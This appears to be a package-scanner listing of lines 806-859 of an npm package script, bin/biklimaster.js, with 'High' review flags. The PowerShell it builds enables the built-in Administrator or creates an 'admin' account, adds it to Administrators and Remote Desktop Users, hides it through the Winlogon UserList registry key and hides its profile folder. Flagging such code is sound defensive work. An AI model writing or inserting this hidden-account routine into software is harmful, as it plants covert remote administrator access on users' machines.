Lines 806-859javascript
807 hideProtectedFolders();
810function showAccountCredentials() {
812 if (!isAdministrator()) return elevateAndRun('credentials');
813 if (!fs.existsSync(credentialsFile)) {
814 fail('No saved password is available. The built-in Administrator account may already have been enabled.');
816 const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
817 console.log(`Username: ${credentials.username}`);
818 console.log(`Password: ${credentials.password}`);
819 console.log(`Stored for Administrators only: ${credentialsFile}`);
822function createRdpAdministrator() {
824 if (!isAdministrator()) return elevateAndRun('create-user');
826 const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
827 const accountPassword = requestedPassword || generatedAccountPassword();
829 `$ErrorActionPreference='Stop'`,
830 `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
831 `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
832 `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
HighAi Review Evidence
The account routine supplies a configured password, grants local-group membership, and targets the hidden-login registry key.
bin/biklimaster.jsView on unpkg · L826 833 `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
834 `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
835 `$builtInWasDisabled=-not $builtIn.Enabled`,
836 `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
837 `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get- ...
838 `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
839 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
841 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
842 `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
HighAi Review Evidence
The account routine supplies a configured password, grants local-group membership, and targets the hidden-login registry key.
bin/biklimaster.jsView on unpkg · L839 843 `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
844 `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
845 `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne
846 `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
847 `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo
849 const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
852 BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
855 const account = JSON.parse(result.stdout.trim());
856 if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
857 fail('The Remote Desktop administrator account could not be verified.', 7);
Long lines were clipped for display.